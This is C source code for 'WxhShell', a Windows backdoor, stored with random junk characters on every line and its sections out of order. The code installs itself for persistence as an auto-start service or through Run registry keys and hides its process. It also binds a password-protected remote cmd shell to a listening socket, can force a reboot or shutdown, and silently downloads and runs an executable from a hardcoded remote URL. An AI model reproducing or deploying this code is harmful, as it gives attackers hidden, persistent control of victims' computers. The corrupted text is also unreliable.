    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v?S~ =$.  
    else { _8;)J  
    closesocket(wsh); #{]Yw}m  
    ExitThread(0); UvPD/qu$8D  
    } 3Q-[)Z )  
    break; gJv;{;%  
    } |Vq&IfP  
  // 获取shell 3$hbb6N%6.  
  case 's': { k=o>DaEh(  
    CmdShell(wsh); SFdSA4D"  
    closesocket(wsh); fL7u419=  
    ExitThread(0); }G50?"^u  
    break; (K>=!&tlp=  
  } yxpDQ O~x  
  // 退出 vs|_l!n3  
  case 'x': { N)rf /E0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IC:wof "  
    CloseIt(wsh); $*Z Zh  
    break; mhXSbo9w-  
    } ygz6 ~(  
  // 离开 Q#$#VT!F  
  case 'q': { n$S`NNO{]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *gxo! F}  
    closesocket(wsh); pPX~pPIj2  
    WSACleanup(); QoVRZ$!p  
    exit(1); FYtf<C+  
    break; ED kxRfY2/  
        } z%pD3J?>  
  } 9^5D28y  
  } aTx*6;-PH  
`AO<r  
  // 提示信息 /j0zb&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zJJ6"9sl  
} w`?Rd  
  } ]|y]?7  
tg X},OU^  
  return; J"TM[4^\Y  
} kQY+D1  
E*F)jP,yo  
// shell模块句柄 ^ew<|J2,B  
int CmdShell(SOCKET sock) =:;KY uTr  
{ xn)eb#r  
STARTUPINFO si; d'yA"b]  
ZeroMemory(&si,sizeof(si)); $)fybn Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EC6Q<&]Iw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wveba)"$  
PROCESS_INFORMATION ProcessInfo; dT9ekNQB  
char cmdline[]="cmd"; 1>!wm0;x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v-J9N(y"  
  return 0; x`#|8  
} yQXHEB  
RXj6L~vs5_  
// 自身启动模式 z U~o"Jv  
int StartFromService(void) g[,1$39Z|@  
{ C;3>q*Am4  
typedef struct =CE(M},d  
{ fzVU9BU  
  DWORD ExitStatus; ZPISclSA+  
  DWORD PebBaseAddress; \\WIu?  
  DWORD AffinityMask; i{$h]D_fD  
  DWORD BasePriority; ,z1fiq  
  ULONG UniqueProcessId; DG&[.dR+  
  ULONG InheritedFromUniqueProcessId; kZ0|wML8  
}   PROCESS_BASIC_INFORMATION; bxS+ R\  
D3>;X=1  
PROCNTQSIP NtQueryInformationProcess; j+_pF<$f:  
4&+;n[D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T|c9Swu r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2+Tu"oG;rB  
0{ O|o_  
  HANDLE             hProcess; E|aPkq]  
  PROCESS_BASIC_INFORMATION pbi; 1M4I7 *r  
]757oAXl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nv9kl Q@  
  if(NULL == hInst ) return 0; ;BR`}~m  
sPee" 9%,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }5)sS}C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); onuhNn_=>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o~*5FN}%+l  
'Si 1r%'m#  
  if (!NtQueryInformationProcess) return 0; '<v/Gl\  
c QjzI#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BK_x5mGu3  
  if(!hProcess) return 0; +Y^_1  
(v\Cv)OS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B`/c Kfg  
]/p)XHKo  
  CloseHandle(hProcess); p$5+^x'(  
c 4<~? L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K`9ph"(Z  
if(hProcess==NULL) return 0; NTHy!y<!h  
Use`E  
HMODULE hMod; !*?Ss  
char procName[255]; "o*zZ;>^  
unsigned long cbNeeded; H@uCbT  
u,d@ oF(=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r] +V:l3  
<V3N!H_d  
  CloseHandle(hProcess); H nRd  
O!b >  
if(strstr(procName,"services")) return 1; // 以服务启动 COx<X\  
`dYM+ jpa  
  return 0; // 注册表启动 88dq8T4  
} amL8yb  
(L)tC*Qjc  
// 主模块 >?$+hZz<  
int StartWxhshell(LPSTR lpCmdLine) 0nF>E@j^[  
{ mxYsP6&  
  SOCKET wsl; 2[\I{<2/9  
BOOL val=TRUE; 7DU"QeLeb  
  int port=0; 3zO'=gwJ  
  struct sockaddr_in door; rf%E+bh4  
,Z7tpFC  
  if(wscfg.ws_autoins) Install(); '~^3 =[Z  
dnby&-+T  
port=atoi(lpCmdLine); g2=5IU<  
LDJ=<c!  
if(port<=0) port=wscfg.ws_port; fR>(b?C  
ldJ:A*/M6  
  WSADATA data; V4RtH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JZ[~3swR  
QOECpk-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3q=A35*LT>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w,\#)<boyb  
  door.sin_family = AF_INET; 5N:THvh6o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L`yyn/2>  
  door.sin_port = htons(port); y7 I')}SC  
|]5g+sd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V}#2pP  
closesocket(wsl);  H4HWr6  
return 1; fz`+j -u  
} "tga FtC=w  
a*}ZT,V  
  if(listen(wsl,2) == INVALID_SOCKET) { Z=sCYLm  
closesocket(wsl); )+[{MR '  
return 1; NXv u}&H  
} \ORNOX:  
  Wxhshell(wsl); $vS`w4Y  
  WSACleanup(); 3N?WpA768/  
FTtGiGd|Zy  
return 0; D?u*^?a2  
.)W'{2J-  
} lc%2Pi[X  
SC~cryb  
// 以NT服务方式启动 Ks.pb !r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @`N)`u85[  
{ T4`.rnzyRb  
DWORD   status = 0; $1N_qu  
  DWORD   specificError = 0xfffffff; Hnwir!=7  
%y~=+Sm%m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Kq|L: Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G)b6Rit  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y ?FKou'  
  serviceStatus.dwWin32ExitCode     = 0; %f.(^<G u  
  serviceStatus.dwServiceSpecificExitCode = 0; DRLX0Ml]\  
  serviceStatus.dwCheckPoint       = 0; eKlh }v  
  serviceStatus.dwWaitHint       = 0; 0kI.d X)  
`J h> 1l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6]dK,  
  if (hServiceStatusHandle==0) return; VJMn5v[V  
L;=<d  
status = GetLastError(); Gw6*0& 3')  
  if (status!=NO_ERROR) u4L&8@  
{ (]Z%&>*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `z$<1Q T  
    serviceStatus.dwCheckPoint       = 0; 5 N(/K.^  
    serviceStatus.dwWaitHint       = 0; !2WRxM  
    serviceStatus.dwWin32ExitCode     = status; ~_P,z?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7FMg6z8~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '&5A*X]d  
    return; xp%,@] p  
  } mnM#NT5]  
8t!/O p ?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^tIi;7k  
  serviceStatus.dwCheckPoint       = 0; "E;]?s9x  
  serviceStatus.dwWaitHint       = 0; CUB=T]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M3j_sd'N  
} >3 Q%Yn  
7p&%0'BO1z  
// 处理NT服务事件,比如:启动、停止 H4 }^6><V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ij hC@5qk  
{ DCv~^  
switch(fdwControl) m!s/L,iJJ  
{ $-m`LF@  
case SERVICE_CONTROL_STOP: 6elmLDMni\  
  serviceStatus.dwWin32ExitCode = 0; *5iNw_&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C6=7zYhR  
  serviceStatus.dwCheckPoint   = 0; &ZgB b  
  serviceStatus.dwWaitHint     = 0; (eI'%1kS<  
  { N3Ub|$}q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AD4KoT&  
  } q9w6 6R  
  return; k#T onT  
case SERVICE_CONTROL_PAUSE: S,LW/:,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,~t{Q*#_h  
  break; fr8:L!9  
case SERVICE_CONTROL_CONTINUE: ( Kh<qAP_n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4"fiEt,t<x  
  break; D}l^ow  
case SERVICE_CONTROL_INTERROGATE: 89:Ys=  
  break; f5+a6s9  
}; QfJ?'*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hf rF7{yj  
} "gXz{$q  
/i|T\  
// 标准应用程序主函数 R_ojK&%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b>AFhj:  
{ KwOn<0P  
dV<|ztv  
// 获取操作系统版本 |D u.aN  
OsIsNt=GetOsVer(); Q>u$tLX&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +rbj%v}Fh  
K'~wlO@O  
  // 从命令行安装 A,rgN;5fb  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2-i>ymoOS  
]Kb  
  // 下载执行文件 *4Cq,o`o>  
if(wscfg.ws_downexe) { x|G# oG)_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RuDn1h#u{  
  WinExec(wscfg.ws_filenam,SW_HIDE); .WA(X5  
} KFBo1^9N  
(Vglcj  
if(!OsIsNt) { mmm025.   
// 如果时win9x,隐藏进程并且设置为注册表启动 ,p/iN9+Z  
HideProc(); ,x}p1EZ  
StartWxhshell(lpCmdLine); w@7NoD=  
} wxpE5v+f|  
else S`TP#uzKu]  
  if(StartFromService()) k.>*!l0  
  // 以服务方式启动 CXGq>cQ=d  
  StartServiceCtrlDispatcher(DispatchTable); ?y!0QAIXK  
else E~]8>U?V  
  // 普通方式启动 pc<")9U%/  
  StartWxhshell(lpCmdLine); WK]SHiHD  
>I Aw Nr  
return 0; iy Zs:4jkc  
} $;Lb|~  
Lz2 AWqR  
(UPkb$Qc  
3}}~(  
=========================================== u^SXg dj  
"| V{@)!t  
_, /m  
)nyud$9w'  
Se qnO.\  
^?(A|krFg  
" g PogV(V  
w}^z1n  
#include <stdio.h> n.p6+^ES  
#include <string.h> 7. 9n  
#include <windows.h> ;|e{J$  
#include <winsock2.h> jftoqK- p  
#include <winsvc.h> )e|Cd} 2  
#include <urlmon.h> 4UmTA_& Io  
5F cKY_  
#pragma comment (lib, "Ws2_32.lib") Ath^UKO"  
#pragma comment (lib, "urlmon.lib") aPaGnP:^  
4A.ZMH  
#define MAX_USER   100 // 最大客户端连接数 iD#HB o  
#define BUF_SOCK   200 // sock buffer C"_f3[Z  
#define KEY_BUFF   255 // 输入 buffer 8P.UB{QNe  
X6%w6%su5  
#define REBOOT     0   // 重启 v;AMx-_WH  
#define SHUTDOWN   1   // 关机 ]W3D4Swq  
Xjc{={@p3  
#define DEF_PORT   5000 // 监听端口 'CsD[<  
Q3,`'[ F  
#define REG_LEN     16   // 注册表键长度 _@jBz"aq\  
#define SVC_LEN     80   // NT服务名长度 O79;tA<k  
F@4XORO;  
// 从dll定义API C#[YDcp4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o1='Fr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l;zpf|.Vc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lg1yj}br  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #z 3tSnmp  
{@1.2AWg  
// wxhshell配置信息 c)gG  
struct WSCFG { J Sz'oA5  
  int ws_port;         // 监听端口 5*~Mv<#  
  char ws_passstr[REG_LEN]; // 口令 &-W5 T?Sl  
  int ws_autoins;       // 安装标记, 1=yes 0=no =cE:,z ;g  
  char ws_regname[REG_LEN]; // 注册表键名 "I?sz)pxG  
  char ws_svcname[REG_LEN]; // 服务名 QPjmIO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :Jwc'y-]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gjq:-kX\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @gc lks/M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oomB/"Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #$7 z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X9C)FS  
]uO 8  
}; pe=Ou0  
Yf >SV #  
// default Wxhshell configuration Bt4 X  
struct WSCFG wscfg={DEF_PORT, w#g0nV"X6  
    "xuhuanlingzhe", [?VYxX@  
    1, ;xaOve;9  
    "Wxhshell", FLdO  
    "Wxhshell", {ve86 POY  
            "WxhShell Service", L8n1p5 gx3  
    "Wrsky Windows CmdShell Service", FDM&rQ  
    "Please Input Your Password: ", 7q?u`3l  
  1, j J6Yz  
  "http://www.wrsky.com/wxhshell.exe", vUl5%r2O4  
  "Wxhshell.exe" J8I_tF6  
    }; |4//%Ll/  
g9(zJ  
// 消息定义模块 JViglO1\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t] LCe\#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |j53' >N[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Qx:-,.a  
char *msg_ws_ext="\n\rExit."; 50% |9D0?Y  
char *msg_ws_end="\n\rQuit."; !U.Xb6  
char *msg_ws_boot="\n\rReboot..."; =0 W`tx  
char *msg_ws_poff="\n\rShutdown..."; ?n)r1m  
char *msg_ws_down="\n\rSave to "; rBLkowDP*  
`"QUA G  
char *msg_ws_err="\n\rErr!"; g{w IdV  
char *msg_ws_ok="\n\rOK!"; (v(!l=3  
gv$6\1  
char ExeFile[MAX_PATH]; D ODo !  
int nUser = 0; MVHj?  
HANDLE handles[MAX_USER]; &RP!9{F<  
int OsIsNt; <y1V2Np  
LcCb[r  
SERVICE_STATUS       serviceStatus; 4q o4g+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (yQ]n91Q,  
7qSlqA<Hs  
// 函数声明 Dt?O_Bdv[  
int Install(void); (x,w/1  
int Uninstall(void); d&'z0]mOe  
int DownloadFile(char *sURL, SOCKET wsh); K_j$iHqLF  
int Boot(int flag); <(W0N|1v  
void HideProc(void); yyZH1A  
int GetOsVer(void);  ,!_  
int Wxhshell(SOCKET wsl); 2h0I1a,7  
void TalkWithClient(void *cs); 49n.Gc  
int CmdShell(SOCKET sock); V3baEy>=z  
int StartFromService(void); (.\GI D+i  
int StartWxhshell(LPSTR lpCmdLine); 6$[7t?u  
Bmuf[-}QW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d!/@+i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RbX!^v<0f6  
.{ ^4I  
// 数据结构和表定义 RP'`\| |*  
SERVICE_TABLE_ENTRY DispatchTable[] = 1\1a;Q3W%,  
{ -e7|DXj  
{wscfg.ws_svcname, NTServiceMain}, Knsb`1"E^6  
{NULL, NULL} ^c{}G<U^  
}; O-B~~$g  
O @fX +W?U  
// 自我安装 ,GEMc a,`  
int Install(void) Ti`<,TA54  
{ GXB4&Q!C  
  char svExeFile[MAX_PATH]; RL/~E xYC  
  HKEY key; BX$t |t;!m  
  strcpy(svExeFile,ExeFile); Y W_E,A>h  
<$Q\vCR  
// 如果是win9x系统,修改注册表设为自启动 4S|! iOY  
if(!OsIsNt) { Ge$cV}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;AKtb S;H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B[7|]"L@  
  RegCloseKey(key); G3&ES3L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EB jiSQw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QxvxeK!Y  
  RegCloseKey(key); ut%t`Y( ]  
  return 0; \V`O-wcJ]S  
    } 6'ye-}vD-  
  } K v"e\ E  
} awuUaE  
else { Z y@35;r  
%Q"zU9  
// 如果是NT以上系统,安装为系统服务 Ga~N7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _i~n!v  
if (schSCManager!=0) ]YkF^Pf!v  
{ [9UKVnX.V  
  SC_HANDLE schService = CreateService %lNWaA  
  ( E } |g3  
  schSCManager, (WiA  
  wscfg.ws_svcname, VA.jt}YGE  
  wscfg.ws_svcdisp, GyJp! xFB  
  SERVICE_ALL_ACCESS, I$0`U;Xd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5P{dey!  
  SERVICE_AUTO_START, K !8+~[  
  SERVICE_ERROR_NORMAL, T:x5 ,vpM  
  svExeFile, >1:s.[&  
  NULL, @8C^[fDL  
  NULL, M xj  
  NULL, AoyU1MR(  
  NULL, pcNVtp 'V  
  NULL 5:9Ay ?  
  ); VpMpZ9oM<  
  if (schService!=0) xtf]U:c  
  { uxk&5RY  
  CloseServiceHandle(schService); *2crhI*@>  
  CloseServiceHandle(schSCManager); >JS\H6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {y<[1Pms  
  strcat(svExeFile,wscfg.ws_svcname); L5%~H?K(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >`= '~y8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M]!\X6<_  
  RegCloseKey(key); w<j6ln+nM  
  return 0; ;+K:^*oJ  
    } g. f!Uc{  
  } @;_r `AT7  
  CloseServiceHandle(schSCManager); DU$]e1  
} &w:"e'FG`  
} 0:Js{$ZL4  
kM]:~b2  
return 1; ,0[8/)$M  
} xr!FDfM.K  
is{I5IR\/  
// 自我卸载 Gh0H) q  
int Uninstall(void) mB;W9[  
{ <oV _EZ  
  HKEY key; i:OD)l  
G,>tC`!  
if(!OsIsNt) { /a17B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = sedkrM  
  RegDeleteValue(key,wscfg.ws_regname); 4nkH0dJQ  
  RegCloseKey(key); _Pa(5-S'KR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D9e"E1f+"  
  RegDeleteValue(key,wscfg.ws_regname); e%x$Cb:znn  
  RegCloseKey(key); 0 sVCTJ@  
  return 0; MdU_zY(c  
  } tc@v9`^_  
} ih2H~c>O  
} aGNt?)8WPZ  
else { *j><a  
S+|aCRS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !6|Kpy8  
if (schSCManager!=0) >!A&@1[M  
{ !l~tBJr*sB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4PTHUyX  
  if (schService!=0) ItQIM#  
  { e`4OlM]  
  if(DeleteService(schService)!=0) { kJy<vb~   
  CloseServiceHandle(schService); /YH Bhoat  
  CloseServiceHandle(schSCManager); 4 *He<2g  
  return 0; Wf 13Ab  
  } 1W8[ RET  
  CloseServiceHandle(schService); ^Ot+,l)  
  } v[CX-CBZ?  
  CloseServiceHandle(schSCManager); -x3QgDno  
} B;N40d*W  
} cg7NtY  
JoKD6Q1D  
return 1; 1mL--m'r  
} wke$  
:::"C"Ge  
// 从指定url下载文件 wED~^[]f  
int DownloadFile(char *sURL, SOCKET wsh) s7O?)f f  
{ R_uA!MoLs  
  HRESULT hr; {~16j"  
char seps[]= "/"; {i~qm4+o  
char *token; #93;V'b]  
char *file; N_$ X4.7p  
char myURL[MAX_PATH]; [:a;|t  
char myFILE[MAX_PATH]; J[L$8y:  
Y1{6lhxgE  
strcpy(myURL,sURL); E8jdQS|i  
  token=strtok(myURL,seps); &AGV0{NMh]  
  while(token!=NULL) &k&tkE  
  { HCb7 `(@  
    file=token;  gsc/IUk  
  token=strtok(NULL,seps); %,a.431gi  
  } :CSys62  
mn*.z!N=  
GetCurrentDirectory(MAX_PATH,myFILE); l+kI4B7--  
strcat(myFILE, "\\"); -{pcb7.xuv  
strcat(myFILE, file); E~2}rK+#)  
  send(wsh,myFILE,strlen(myFILE),0); 3RscuD&  
send(wsh,"...",3,0); 7\JRHw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p}R)qz-=5U  
  if(hr==S_OK) Il'+^u_ <  
return 0; 8iK>bp  
else yXc/Nl%  
return 1; $tj[ *  
2aW&d=!ZV  
} S`K8e^]  
?&)<h_R4p  
// 系统电源模块 $4>K2  
int Boot(int flag) L2P~moVIi  
{ 2<fG= I8  
  HANDLE hToken; ?b2"~A  
  TOKEN_PRIVILEGES tkp; -nN}8&l  
 s4;SA  
  if(OsIsNt) { q3T'rw%Eh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l *yml  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1`5d~>fV  
    tkp.PrivilegeCount = 1; qW][Q%'lt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vNd4Fn)H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TTmNPp4q  
if(flag==REBOOT) { `DC)U1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zvdtP'&uj  
  return 0; ~( -B%Az  
} rh${pHl  
else { 3VB{Qj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $eX; 2  
  return 0; 4tCyd5u a8  
} m-5Dbx!j  
  } +x-n,!(  
  else { 477jS6^e&  
if(flag==REBOOT) { tE9%;8;H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >7@F4a  
  return 0; ,X+mXtg.  
} j*q]-$2E  
else { p/cVQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !R[o6V5T  
  return 0; 6@ET3v  
} v#(wc +[  
} N#6&t8;kTC  
(lwkg8WC  
return 1; qdL;Ii<Y0  
} }Wn6r_:  
Pd%o6~_*  
// win9x进程隐藏模块 hR[Qdu6r  
void HideProc(void) Q^DKKp  
{ c3`X19'%fM  
f<!eJO:<'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zRD{"uqi  
  if ( hKernel != NULL )  z4&|~-m,  
  { (JL{X`gs#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;5q=/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PC7U&*x@  
    FreeLibrary(hKernel); * "~^k^_b}  
  } 31  QT  
i.)k V B  
return; Qi w "x,  
}  *9`@  
]{0 2!  
// 获取操作系统版本 F9]GEBLr  
int GetOsVer(void) {O]Cj~}  
{ DKF`uRvGN:  
  OSVERSIONINFO winfo; <lB^>Hfu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U5Q `r7  
  GetVersionEx(&winfo); 7$\;G82_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wX<)Fj'  
  return 1; bv4lgRE6Y  
  else cmZ39pjBJ  
  return 0; ^ bexXYh  
} /V2Ih  
mG1=8{o^  
// 客户端句柄模块 bEMD2ABm  
int Wxhshell(SOCKET wsl) mPi4.p)  
{ ES(b#BlrP/  
  SOCKET wsh; 3(}W=oI  
  struct sockaddr_in client; `(q+@#)  
  DWORD myID; wZ0$ylEX  
TF^Rh4  
  while(nUser<MAX_USER) # yAt `  
{ {}s7q|$  
  int nSize=sizeof(client); >IJH#>i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {qp XzxV  
  if(wsh==INVALID_SOCKET) return 1; 8)\ ?6C  
;xN 4L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f-k%P$"X&  
if(handles[nUser]==0) dTB^6 >H  
  closesocket(wsh); W+cmn)8  
else xeIt7b?#  
  nUser++; Elo m_   
  } [as\>@o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^I5k+cL  
H]H*Ouu["e  
  return 0; JpcG5gX^B  
} p[!&D}&6h  
VA&_dU]*  
// 关闭 socket jav7V"$  
void CloseIt(SOCKET wsh) kOfbO'O9  
{ q3z<v:=1y  
closesocket(wsh); [O2xE037h`  
nUser--; 5hr$tkk L  
ExitThread(0); MXh0a@*]  
} K63OjR >H  
0>6J -   
// 客户端请求句柄 @a'Rn  
void TalkWithClient(void *cs) P6!c-\  
{ [o<Rgq 4  
dzjp,c@  
  SOCKET wsh=(SOCKET)cs; .D(H@3qA@  
  char pwd[SVC_LEN]; DJdW$S7  
  char cmd[KEY_BUFF]; Tv_KdOv8  
char chr[1]; \xlelsmB*  
int i,j; 2`9e20  
7v]>ID  
  while (nUser < MAX_USER) { 5V':3o;D__  
<~X4&E]rT_  
if(wscfg.ws_passstr) { ,6=j'j1#a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M2W4 RovfR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9{RCh 9  
  //ZeroMemory(pwd,KEY_BUFF); _ho9}7 >  
      i=0; :XC~G&HuF6  
  while(i<SVC_LEN) { Cvry8B  
UMILAoR  
  // 设置超时 bBk_2lg=4)  
  fd_set FdRead; y'(( tBWa!  
  struct timeval TimeOut; s/"&k  
  FD_ZERO(&FdRead); n0bm 'qw  
  FD_SET(wsh,&FdRead); Hz ) Xn\x  
  TimeOut.tv_sec=8; J: vq)G\F  
  TimeOut.tv_usec=0; f~%|Iu1ob  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0ft81RK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]$oo1ssZ1  
Ngi] I#V z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q'5]E{1<'n  
  pwd=chr[0]; O`j1~o<{  
  if(chr[0]==0xd || chr[0]==0xa) {  Sg  
  pwd=0; "4NcszEN  
  break; & Xm !i(i  
  } >o9tlO)  
  i++; mE=%+:o.  
    } mhVdsa  
[1nfSW  
  // 如果是非法用户,关闭 socket $ @g\wz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); He vZ}.  
} a> qB k})  
(yA`h@@WS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v7gs $'Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o9\J vJk  
?*cr|G$r[  
while(1) { Of0(.-Q w  
x7J8z\b"O  
  ZeroMemory(cmd,KEY_BUFF); ##!idcC  
C$WUg<kcK'  
      // 自动支持客户端 telnet标准   ywQ[>itMa  
  j=0; !xcLJ5^W  
  while(j<KEY_BUFF) { lt08 E2p9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^%ZbjJ7|j  
  cmd[j]=chr[0]; IJ\4S  
  if(chr[0]==0xa || chr[0]==0xd) { q>|&u  
  cmd[j]=0; "QSmxr  
  break; " b3-'/ &  
  } WN#S%G:Q)  
  j++; $0 ]xeD0X  
    } 8uAA6h+  
=Ot|d #_  
  // 下载文件 =D;n#n7  
  if(strstr(cmd,"http://")) { +*uaB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9UDanj P  
  if(DownloadFile(cmd,wsh)) 42$ pvw<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !aQb Kp  
  else 4}4cA\B:n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tE'^O< K  
  } .w,$ TezGP  
  else { "`Q &s  
Ui?iMtDr  
    switch(cmd[0]) { ]QC9y:3  
  &fofFVQnW  
